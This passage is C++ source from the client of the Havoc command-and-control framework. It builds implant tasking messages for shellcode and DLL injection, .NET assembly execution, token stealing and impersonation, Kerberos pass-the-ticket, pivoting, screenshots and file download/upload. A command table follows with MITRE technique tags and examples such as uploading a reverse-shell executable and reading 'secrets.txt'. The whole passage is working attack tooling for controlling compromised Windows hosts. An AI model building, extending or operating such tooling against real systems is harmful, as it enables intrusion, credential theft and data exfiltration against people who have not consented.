DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast ( Commands::FS ) ).c_str() }, { "SubCommand", SubCommand.toStdString() }, { "Arguments", Arguments.toStdString() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Sleep( QString TaskID, QString seconds ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::SLEEP ) ).c_str() }, { "Arguments", seconds.toStdString()} } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Checkin( QString TaskID ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::CHECKIN ) ).c_str() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ProcList( QString TaskID, bool FromProcessManager ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::PROC_LIST ) ).c_str() }, { "FromProcessManager", FromProcessManager ? "true" : "false" }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::InlineExecute( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::INLINE_EXECUTE ) ).c_str() }, { "HasCallback", "false"}, { "FunctionName", FunctionName.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Util::base64_encode( Args.toStdString().c_str(), Args.length() ) }, { "Flags", Flags.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::InlineExecuteGetOutput( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::INLINE_EXECUTE ) ).c_str() }, { "HasCallback", "true"}, { "FunctionName", FunctionName.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Util::base64_encode( Args.toStdString().c_str(), Args.length() ) }, { "Flags", Flags.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::AssemblyInlineExecute( QString TaskID, QString Path, QString Args ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::INLINE_EXECUTE_ASSEMBLY ) ).c_str() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Args.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::AssemblyListVersions( QString TaskID ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::ASSEMBLY_LIST_VERSIONS ) ).c_str() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ShellcodeInject( QString TaskID, QString InjectionTechnique, QString TargetPID, QString TargetArch, QString Path, QString Arguments = "" ) const -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::INJECT_SHELLCODE ) ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Way", "Inject" }, { "Technique", InjectionTechnique.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Arguments.toUtf8().toBase64().toStdString() }, { "PID", TargetPID.toStdString() }, { "Arch", TargetArch.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments = "" ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString()}, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string(static_cast(Commands::INJECT_SHELLCODE)).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "Way", "Spawn" }, { "Technique", InjectionTechnique.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Arguments.toUtf8().toBase64().toStdString() }, { "Arch", TargetArch.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ShellcodeExecute( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString()}, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string(static_cast(Commands::INJECT_SHELLCODE)).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "Way", "Execute" }, { "Technique", InjectionTechnique.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Arguments.toUtf8().toBase64().toStdString() }, { "Arch", TargetArch.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::DllSpawn( QString TaskID, QString Path, QByteArray Args ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { {"TaskID", TaskID.toStdString()}, {"DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString()}, {"CommandID", to_string(static_cast( Commands::INJECT_DLL_SPAWN ) ).c_str()}, {"CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString()}, {"Binary", Content.toBase64().toStdString() }, {"Arguments", Util::base64_encode( Args.toStdString().c_str(), Args.length() ) }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Token( QString TaskID, QString SubCommand, QString Arguments ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "DemonID", DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::TOKEN ) ).c_str() }, { "SubCommand", SubCommand.toStdString() }, { "Arguments", Arguments.toStdString() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ProcModule( QString TaskID, int SubCommand, QString Args ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::PROC ) ).c_str() }, { "ProcCommand", to_string( SubCommand ).c_str() }, { "Args", Args.toStdString() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Exit( QString TaskID, QString Methode ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::EXIT ) ).c_str() }, { "ExitMethod", Methode.toStdString() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::DllInject( QString TaskID, QString TargetPID, QString Path, QString Params ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { {"TaskID", TaskID.toStdString() }, {"DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, {"CommandID", to_string( static_cast( Commands::INJECT_DLL ) ).c_str() }, {"CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, {"Binary", Content.toBase64().toStdString() }, {"Arguments", Params.toStdString()}, {"PID", TargetPID.toStdString()}, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Config( const QString& TaskID, const QString& Key, const QString& Value ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( (int)Commands::CONFIG ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "ConfigKey", Key.toStdString() }, { "ConfigVal", Value.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Screenshot( const QString &TaskID ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::SCREENSHOT ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Net( QString TaskID, QString Command, QString Param ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::NET ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "NetCommand", Command.toStdString() }, { "Param", Param.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Pivot( QString TaskID, QString Command, QString Param ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::PIVOT ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", Command.toStdString() }, { "Param", Param.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::AgentCommand( QMap CommandData ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = CommandData, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Job( QString TaskID, QString SubCommand, QString Argument ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::JOB ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", SubCommand.toStdString() }, { "Param", Argument.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Task( const QString& TaskID, const QString& Command ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", "Teamserver" }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", Command.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Transfer( const QString &TaskID, QString SubCommand, QString Arguments ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::TRANSFER ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", SubCommand.toStdString() }, { "FileID", Arguments.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Socket( const QString &TaskID, QString SubCommand, QString Arguments ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::SOCKET ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", SubCommand.toStdString() }, { "Params", Arguments.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Luid( const QString& TaskID ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::KERBEROS ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", "luid" }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Klist( const QString &TaskID, QString Argument1, QString Argument2 ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::KERBEROS ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", "klist" }, { "Argument1", Argument1.toStdString() }, { "Argument2", Argument2.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Purge( const QString &TaskID, QString Argument ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::KERBEROS ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", "purge" }, { "Argument", Argument.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Ptt( const QString &TaskID, QString Ticket, QString Luid ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( ( int ) Commands::KERBEROS ).c_str() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "Command", "ptt" }, { "Ticket", Ticket.toStdString() }, { "Luid", Luid.toStdString() }, }, }; NewPackageCommand( DemonCommandInstance->Teamserver, Body ); } ================================================ FILE: client/src/Havoc/Demon/Commands.cc ================================================ #include #define BEHAVIOR_PROCESS_INJECTION "Process Injection" #define BEHAVIOR_PROCESS_CREATION "Process Creation" #define BEHAVIOR_FORK_AND_RUN "Fork & Run" #define BEHAVIOR_API_ONLY "API Only" #define BEHAVIOR_TEAMSERVER "Teamserver side" #define NO_SUBCOMMANDS .Module = false, using namespace HavocNamespace::HavocSpace; std::vector DemonCommands::DemonCommandList = { { .CommandString = "help", .Description = "Shows help message of specified command", .Usage = "[command]", .Example = "inline-execute", NO_SUBCOMMANDS }, { .CommandString = "sleep", .Description = "sets the delay to sleep", .MitreTechniques= { "T1029" ,"TA0005"}, .Usage = "[delay] (jitter)", .Example = "10", NO_SUBCOMMANDS }, { .CommandString = "checkin", .Description = "request a checkin request", NO_SUBCOMMANDS }, { .CommandString = "job", .Description = "job manager", .Module = true, .SubCommands = { { .CommandString = "list", .Description = "list of jobs", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "suspend", .Description = "suspend specified job id", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[id]", .Example = "1337", }, { .CommandString = "resume", .Description = "resume specified job id", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[id]", .Example = "1337", }, { .CommandString = "kill", .Description = "kill specified job id", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[id]", .Example = "1337", }, } }, { .CommandString = "task", .Description = "task manager", .Module = true, .SubCommands = { { .CommandString = "list", .Description = "list of commands in task queue", .Behavior = BEHAVIOR_TEAMSERVER, }, { .CommandString = "clear", .Description = "clear all commands in task queue", .Behavior = BEHAVIOR_TEAMSERVER, }, } }, { .CommandString = "proc", .Description = "process enumeration and management", .Usage = "[command]", .Example = "list", .Module = true, .SubCommands = { { .CommandString = "list", .Description = "displays a list of running processes on the target", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques= { "TA0007", "T1057" }, }, { .CommandString = "kill", .Description = "kills the process from specified PID", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques= { "T1057", "TA0040" }, .Usage = "[pid]", .Example = "1337", }, { .CommandString = "create", .Description = "create a process", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1106", "T1055" }, .Usage = "[normal/suspended] (--silent) (--no-pipe) process (args)", .Example = R"(suspended --no-pipe C:\Windows\System32\notepad.exe)", }, { .CommandString = "modules", .Description = "lists loaded modules/dlls from a remote process", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "TA0007" }, .Usage = "[pid]", .Example = "1337", }, { .CommandString = "grep", .Description = "grep information from the specified remote process", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1020", "T1057" }, .Usage = "[process]", .Example = "explorer.exe", }, { .CommandString = "memory", .Description = "query for memory regions", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques= { "T1055"}, .Usage = "[pid] [PAGE_READ | PAGE_READWRITE | PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE]", .Example = "1337 PAGE_EXECUTE_READWRITE", }, }, }, { .CommandString = "transfer", .Description = "download transfer module", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "list", .SubCommands = { { .CommandString = "list", .Description = "list current downloads", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "", }, { .CommandString = "stop", .Description = "stops a download", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "ffff", }, { .CommandString = "resume", .Description = "resumes a download", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "ffff", }, { .CommandString = "remove", .Description = "stops and removes a download", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "ffff", }, } }, { .CommandString = "dir", .Description = "list specified directory", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1083", "T1083" }, .Usage = "[/path/to/dir] [/s] [/b] [/d] [/f] [/starts foo] [/contains foo] [/ends foo]", .Example = "c:\\users /s /b /f /ends .ps1", NO_SUBCOMMANDS }, { .CommandString = "download", .Description = "downloads a specified file", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/file.txt]", .Example = "c:\\secrets.txt", NO_SUBCOMMANDS }, { .CommandString = "upload", .Description = "uploads a specified file", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/local/file/to/upload.exe] [/remote/path/to/upload.exe]", .Example = "/tmp/reverse_shell.exe c:\\malware.exe", NO_SUBCOMMANDS }, { .CommandString = "cd", .Description = "change to specified directory", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/dir]", .Example = "C:\\", NO_SUBCOMMANDS }, { .CommandString = "cp", .Description = "copy file from one location to another", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/from/file.txt] [path/to/file.txt]", .Example = R"(C:\secrets.txt C:\Windows\Temp\secrets.txt)", NO_SUBCOMMANDS }, { .CommandString = "mv", .Description = "move file from one location to another", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/from/file.txt] [path/to/file.txt]", .Example = R"(C:\secrets.txt C:\Windows\Temp\secrets.txt)", NO_SUBCOMMANDS }, { .CommandString = "remove", .Description = "remove file or directory", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[path]", .Example = "C:\\text.txt", NO_SUBCOMMANDS }, { .CommandString = "mkdir", .Description = "create new directory", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/dir]", .Example = "C:\\NewDir", NO_SUBCOMMANDS }, { .CommandString = "pwd", .Description = "get current directory", .Behavior = BEHAVIOR_API_ONLY, .Usage = "", .Example = "", NO_SUBCOMMANDS }, { .CommandString = "cat", .Description = "display content of the specified file", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/file.txt]", .Example = "c:\\secrets.txt", NO_SUBCOMMANDS }, { .CommandString = "screenshot", .Description = "takes a screenshot", .Behavior = BEHAVIOR_API_ONLY, NO_SUBCOMMANDS }, { .CommandString = "shell", .Description = "executes cmd.exe commands and gets the output", .Behavior = BEHAVIOR_PROCESS_CREATION, .Usage = "[commands]", .Example = R"(dir c:\windows\system32)", NO_SUBCOMMANDS }, { .CommandString = "powershell", .Description = "executes powershell.exe commands and gets the output", .Usage = "[commands]", .Example = R"(dir c:\windows\system32)", NO_SUBCOMMANDS }, { .CommandString = "inline-execute", .Description = "executes an object file", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[/path/to/objectfile.o] (arguments)", .Example = R"(/tmp/objectfile.x64.o hello)", NO_SUBCOMMANDS }, { .CommandString = "shellcode", .Description = "shellcode injection techniques", .Usage = "[subcommand]", .Example = R"(inject-sys x64 1337 /tmp/rev_shell.x64.bin)", .Module = true, .SubCommands = { { .CommandString = "inject", .Description = "inject shellcode into a remote process", .Behavior = BEHAVIOR_PROCESS_INJECTION, .MitreTechniques= {"T1055"}, .Usage = "[arch] [target pid] [/path/to/shellcode.x64.bin]", .Example = R"(x64 1337 /tmp/rev_shell.x64.bin)", }, // Spawn & Inject Commands { .CommandString = "spawn", .Description = "spawns a temporary process and injects into it", .Behavior = BEHAVIOR_FORK_AND_RUN, .MitreTechniques= {"T1055", "T1055.002"}, .Usage = "[arch] [/path/to/shellcode.x64.bin]", .Example = R"(x64 /tmp/rev_shell.x64.bin)", }, // Spawn & Inject Commands { .CommandString = "execute", .Description = "executes shellcode in the current process (self inject)", .Behavior = BEHAVIOR_PROCESS_INJECTION, .MitreTechniques= {"T1055", "T1055.002"}, .Usage = "[arch] [/path/to/shellcode.x64.bin]", .Example = R"([arch] /tmp/rev_shell.x64.bin)", }, }, }, { .CommandString = "dll", .Description = "dll spawn and injection modules", .Usage = "[subcommand]", .Example = R"(inject 1337 /tmp/module.dll argument)", .Module = true, .SubCommands = { { .CommandString = "inject", .Description = "inject dll into a remote process", .Behavior = BEHAVIOR_PROCESS_INJECTION, .MitreTechniques= {"T1055" ,"T1055.001"}, .Usage = "[target pid] [/path/to/module.dll] (arguments)", .Example = R"(1337 /tmp/module.dll argument)", }, { .CommandString = "spawn", .Description = "spawns a temporary process and injects a dll into it", .Behavior = BEHAVIOR_FORK_AND_RUN, .MitreTechniques= {"T1055" ,"T1055.001"}, .Usage = "[/path/to/reflective_dll.x64.dll] (arguments)", .Example = R"(/tmp/module.dll arguments)", }, }, }, { .CommandString = "exit", .Description = "cleanup and exit", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques= { }, .Usage = "[thread/process]", .Example = R"(thread)", NO_SUBCOMMANDS }, { .CommandString = "token", .Description = "token manipulation and impersonation", .Usage = "[subcommand]", .Example = R"(steal 1337)", .Module = true, .SubCommands = { { .CommandString = "getuid", .Description = "get current uid from token", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134"}, }, { .CommandString = "list", .Description = "list stolen tokens from token vault", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134"}, }, { .CommandString = "find", .Description = "find all tokens that can be stolen on the system", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134"}, }, { .CommandString = "steal", .Description = "steal token from specified process and save it to token vault", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134.001"}, .Usage = "[process id] (handle)", .Example = "1337", }, { .CommandString = "impersonate", .Description = "impersonate stolen token from specified vault id", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134", "T1134.001" ,"TA0004"}, .Usage = "[vault id]", .Example = "0", }, { .CommandString = "make", .Description = "make token from user credentials", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134", "T1134.003"}, .Usage = "[Domain] [Username] [Password] (LogonType)\nValid types are:\nLOGON_INTERACTIVE\nLOGON_NETWORK\nLOGON_BATCH\nLOGON_SERVICE\nLOGON_UNLOCK\nLOGON_NETWORK_CLEARTEXT\nLOGON_NEW_CREDENTIALS (default)", .Example = "domain.local Administrator Passw0rd@1234", }, { .CommandString = "privs-list", .Description = "list all privileges from current token", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1134" ,"TA0007"}, }, { .CommandString = "privs-get", .Description = "enable a privilege", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = { "T1134", "T1134", "TA0004" }, }, { .CommandString = "revert", .Description = "revert to default process token", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1134"}, }, { .CommandString = "remove", .Description = "remove specified stolen token from token vault", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[vault id]", .Example = "1", }, { .CommandString = "clear", .Description = "removes every stolen token from the token vault", .Behavior = BEHAVIOR_API_ONLY, }, }, }, { .CommandString = "dotnet", .Description = "execute and manage dotnet assemblies", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[sub command]", .Example = R"(inline-execute /tmp/seatbelt.exe)", .Module = true, .SubCommands = { { .CommandString = "list-versions", .Description = "lists installed/available dotnet versions", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "inline-execute", .Description = "executes assembly in the current process and gets output", .Behavior = BEHAVIOR_API_ONLY, .MitreTechniques = {"T1055", "T1620"}, .Usage = "[/path/to/assembly.exe] (args)", .Example = "/tmp/Seatbelt.exe -group=all -full", }, }, }, { .CommandString = "net", .Description = "network and host enumeration module", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[sub command] (args)", .Example = R"(domain)", .Module = true, .SubCommands = { { .CommandString = "domain", .Description = "display domain for the current host", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "logons", .Description = "lists users logged onto a host", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "sessions", .Description = "lists sessions on a host", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, /*{ .CommandString = "computers", .Description = "lists hosts in a domain (groups)", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "dclist", .Description = "lists domain controllers", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", },*/ { .CommandString = "share", .Description = "lists shares on a host", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "localgroup", .Description = "lists local groups and users in local groups", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "group", .Description = "lists groups and users in groups", .Behavior = BEHAVIOR_API_ONLY, .Usage = R"([\\TARGET])", .Example = R"(\\localhost)", }, { .CommandString = "users", .Description = 